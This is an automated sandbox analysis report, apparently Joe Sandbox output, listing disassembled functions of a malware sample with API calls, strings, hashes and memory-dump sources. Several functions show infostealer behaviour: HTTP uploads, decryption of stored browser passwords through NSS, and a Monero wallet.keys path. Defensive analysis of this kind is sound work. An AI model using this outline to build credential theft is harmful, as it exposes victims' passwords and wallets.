Opcode ID: b7553cb60750b534ed4bde8368f3b00332ff6f27c8123ef70f2797647f990c3c
Instruction ID: 0ec2677259ba756a996821a93949dd7f5899f55cfa4ad27c5a4a17ac67db1534
Opcode Fuzzy Hash: b7553cb60750b534ed4bde8368f3b00332ff6f27c8123ef70f2797647f990c3c
Instruction Fuzzy Hash: F96106B3D082049FE3406E29DC4576AFBEAAFD4320F17493DE5C8D3380D67998018796

Function 00D3D953 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9db7d93ba6d2f666bf674adab7f08999fc05357f29f0ccc17e7021d1f7886607
Instruction ID: 927538a9a94f2ba0c69e88874b360ba334a1fdecc2923bd3354a9f6a179f4338
Opcode Fuzzy Hash: 9db7d93ba6d2f666bf674adab7f08999fc05357f29f0ccc17e7021d1f7886607
Instruction Fuzzy Hash: 8D51D6B39083119FE310AE78DC957AFF7E4EF54720F1A4A3DEAC493780E63558418692

Function 00AD9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 6CC155F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6CBEE1A5), ref: 6CC15606
LoadLibraryW.KERNEL32(gdi32,?,6CBEE1A5), ref: 6CC1560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CC15633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CC1563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CC1566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CC1567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CC15696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CC156B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CC156CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CC156E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CC156FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CC15716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CC1572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CC15748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CC15761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CC1577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CC15793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CC157A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CC157BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CC157D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CC157EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CC157FF

Strings

DeleteObject, xrefs: 6CC157F9
GetDpiForWindow, xrefs: 6CC15690
GetThreadDpiAwarenessContext, xrefs: 6CC1562D
MonitorFromWindow, xrefs: 6CC1578D
LoadCursorW, xrefs: 6CC15774
AreDpiAwarenessContextsEqual, xrefs: 6CC15637
StretchDIBits, xrefs: 6CC157CC
CreateSolidBrush, xrefs: 6CC157E4
gdi32, xrefs: 6CC1560A
GetSystemMetricsForDpi, xrefs: 6CC15677
RegisterClassW, xrefs: 6CC156AC
LoadIconW, xrefs: 6CC1575B
ShowWindow, xrefs: 6CC156DE
SetWindowLongPtrW, xrefs: 6CC157B7
ReleaseDC, xrefs: 6CC15742
CreateWindowExW, xrefs: 6CC156C5
EnableNonClientDpiScaling, xrefs: 6CC15666
SetWindowPos, xrefs: 6CC156F7
GetMonitorInfoW, xrefs: 6CC157A2
FillRect, xrefs: 6CC15729
GetWindowDC, xrefs: 6CC15710
user32, xrefs: 6CC15601

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 2c501a4bc7736a55f4c1035ea88f23b18849bbd6be8700e61c5d7f309660764b
Instruction ID: 1f37ff91c518a72fa3302c62d4bf94c59befbaf0890259415765d28c9f1945b3
Opcode Fuzzy Hash: 2c501a4bc7736a55f4c1035ea88f23b18849bbd6be8700e61c5d7f309660764b
Instruction Fuzzy Hash: B3519571705717AFEB11AF3AAD54A2A3AF8AB472457105829E819E2E52FF74CC00CF70

Function 6CBFCC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CBC582D), ref: 6CBFCC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CBC582D), ref: 6CBFCC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC2FE98,?,?,?,?,?,6CBC582D), ref: 6CBFCC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CBC582D), ref: 6CBFCC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CBC582D), ref: 6CBFCC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CBC582D), ref: 6CBFCC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBC582D), ref: 6CBFCCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CBFCCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CBFCCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CBFCCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CBFCCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CBFCD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CBFCD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CBFCD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CBFCDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CBFCDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CBFCDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CBFCDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CBFCE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CBFCE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CBFCE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CBFCE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CBFCE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CBFCE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CBFCE8A

Strings

java, xrefs: 6CBFCC37
leaf, xrefs: 6CBFCC66
noiostacks, xrefs: 6CBFCCBE
ipcmessages, xrefs: 6CBFCDBE
jsallocations, xrefs: 6CBFCD0E
fileioall, xrefs: 6CBFCCA8
nostacksampling, xrefs: 6CBFCD7C
Unrecognized feature "%s"., xrefs: 6CBFCEA0
default, xrefs: 6CBFCC21
audiocallbacktracing, xrefs: 6CBFCDD4
preferencereads, xrefs: 6CBFCD92
cpuallthreads, xrefs: 6CBFCE16
seqstyle, xrefs: 6CBFCCE6
samplingallthreads, xrefs: 6CBFCE2C
processcpu, xrefs: 6CBFCE6E
notimerresolutionchange, xrefs: 6CBFCE00
unregisteredthreads, xrefs: 6CBFCE58
mainthreadio, xrefs: 6CBFCC7C
markersallthreads, xrefs: 6CBFCE42
stackwalk, xrefs: 6CBFCCF8
screenshots, xrefs: 6CBFCCD4
fileio, xrefs: 6CBFCC92
power, xrefs: 6CBFCE84
nativeallocations, xrefs: 6CBFCDA8

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: ae9ab41ff04c6a22fae94c08b68e21a6642b9e7c33d33e8cb89f035e021179e8
Instruction ID: ed1e59360374bf32b05d7a6da74c28438426dc48f6c48eaba8a9d5d9cdb35abd
Opcode Fuzzy Hash: ae9ab41ff04c6a22fae94c08b68e21a6642b9e7c33d33e8cb89f035e021179e8
Instruction Fuzzy Hash: 945196E5A052B922FB2534156D10BEE1444EF5224AF10183AED39A2F80FB09E68F85F7

Function 6CBC4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBC4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CBC44B2,6CC3E21C,6CC3F7F8), ref: 6CBC473E
Part of subcall function 6CBC4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CBC474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CBC44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CBC44D2
InitOnceExecuteOnce.KERNEL32(6CC3F80C,6CBBF240,?,?), ref: 6CBC451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBC455C
LoadLibraryW.KERNEL32(?), ref: 6CBC4592
InitializeCriticalSection.KERNEL32(6CC3F770), ref: 6CBC45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CBC45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CBC45BB
InitOnceExecuteOnce.KERNEL32(6CC3F818,6CBBF240,?,?), ref: 6CBC4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CBC4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CBC4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBC466D
VerSetConditionMask.NTDLL ref: 6CBC469F
VerSetConditionMask.NTDLL ref: 6CBC46AB
VerSetConditionMask.NTDLL ref: 6CBC46B2
VerSetConditionMask.NTDLL ref: 6CBC46B9
VerSetConditionMask.NTDLL ref: 6CBC46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBC46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CBC46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CBC46FD

Strings

7S+Y/, xrefs: 6CBC447C
l, xrefs: 6CBC4578
kernel32.dll, xrefs: 6CBC44CD
NativeNtBlockSet_Write, xrefs: 6CBC46F7
user32.dll, xrefs: 6CBC4557, 6CBC463F
WRusr.dll, xrefs: 6CBC44B5

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: 7S+Y/$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-946764398
Opcode ID: 33b88ad37eec41d6e3ed2b51df2abdd4906abec3b4b5c2f235b72569333979d8
Instruction ID: 72aa62fb07c4160f0febb93962100aec66ae4512dcd14a7f4725145344cd7622
Opcode Fuzzy Hash: 33b88ad37eec41d6e3ed2b51df2abdd4906abec3b4b5c2f235b72569333979d8
Instruction Fuzzy Hash: CB61FBB0704394AFEB209F64EC09BA57BB8EF47308F049999E90C9B641D7758A45CF93

Function 00AC4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00ADA7E6

Part of subcall function 00AC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00AC4839
Part of subcall function 00AC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00AC4849

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00AC4915
StrCmpCA.SHLWAPI(?,0178E2B0), ref: 00AC493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00AC4ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00AE0DDB,00000000,?,?,00000000,?,",00000000,?,0178E410), ref: 00AC4DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00AC4E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00AC4E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00AC4E49
InternetCloseHandle.WININET(00000000), ref: 00AC4EAD
InternetCloseHandle.WININET(00000000), ref: 00AC4EC5
HttpOpenRequestA.WININET(00000000,0178E380,?,0178DD18,00000000,00000000,00400100,00000000), ref: 00AC4B15

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

InternetCloseHandle.WININET(00000000), ref: 00AC4ECF

Strings

------, xrefs: 00AC4C69
------, xrefs: 00AC4B28
", xrefs: 00AC4D33
", xrefs: 00AC4BF2
------, xrefs: 00AC49BD

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: c1d0555df7306ec4d653e600f52f89f77b09d37560b21bd88f1a0be7a1b1a6f4
Instruction ID: 2d2327d022966fdbac840ef7e9b1d9ddbf147ffce8550202ef17faf5048126d0
Opcode Fuzzy Hash: c1d0555df7306ec4d653e600f52f89f77b09d37560b21bd88f1a0be7a1b1a6f4
Instruction Fuzzy Hash: AB120172910258AADB15EB50DEA6FEEB378BF24300F50419AF50762191EF702F49CF66

Function 00ACC990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00ACC9A5

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA920: lstrcpy.KERNEL32(00000000,?), ref: 00ADA972
Part of subcall function 00ADA920: lstrcat.KERNEL32(00000000), ref: 00ADA982

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0178CED0,00000000,?,00AE144C,00000000,?,?), ref: 00ACCA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00ACCA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00ACCA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00ACCAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00ACCAD9
StrStrA.SHLWAPI(?,0178CEE8,00AE0B52), ref: 00ACCAF7
StrStrA.SHLWAPI(00000000,0178CF18), ref: 00ACCB1E
StrStrA.SHLWAPI(?,0178D258,00000000,?,00AE1458,00000000,?,00000000,00000000,?,01788A30,00000000,?,00AE1454,00000000,?), ref: 00ACCCA2
StrStrA.SHLWAPI(00000000,0178D338), ref: 00ACCCB9

Part of subcall function 00ACC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00ACC871
Part of subcall function 00ACC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00ACC87C
Part of subcall function 00ACC820: PK11_GetInternalKeySlot.NSS3 ref: 00ACC88A
Part of subcall function 00ACC820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00ACC8A5
Part of subcall function 00ACC820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00ACC8EB
Part of subcall function 00ACC820: PK11_FreeSlot.NSS3(?), ref: 00ACC961

StrStrA.SHLWAPI(?,0178D338,00000000,?,00AE145C,00000000,?,00000000,01788A40), ref: 00ACCD5A
StrStrA.SHLWAPI(00000000,01788960), ref: 00ACCD71

Part of subcall function 00ACC820: lstrcat.KERNEL32(?,00AE0B46), ref: 00ACC943
Part of subcall function 00ACC820: lstrcat.KERNEL32(?,00AE0B47), ref: 00ACC957
Part of subcall function 00ACC820: lstrcat.KERNEL32(?,00AE0B4E), ref: 00ACC978

lstrlen.KERNEL32(00000000), ref: 00ACCE44
CloseHandle.KERNEL32(00000000), ref: 00ACCE9C
NSS_Shutdown.NSS3 ref: 00ACCEAA

Strings

, xrefs: 00ACC9C6

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
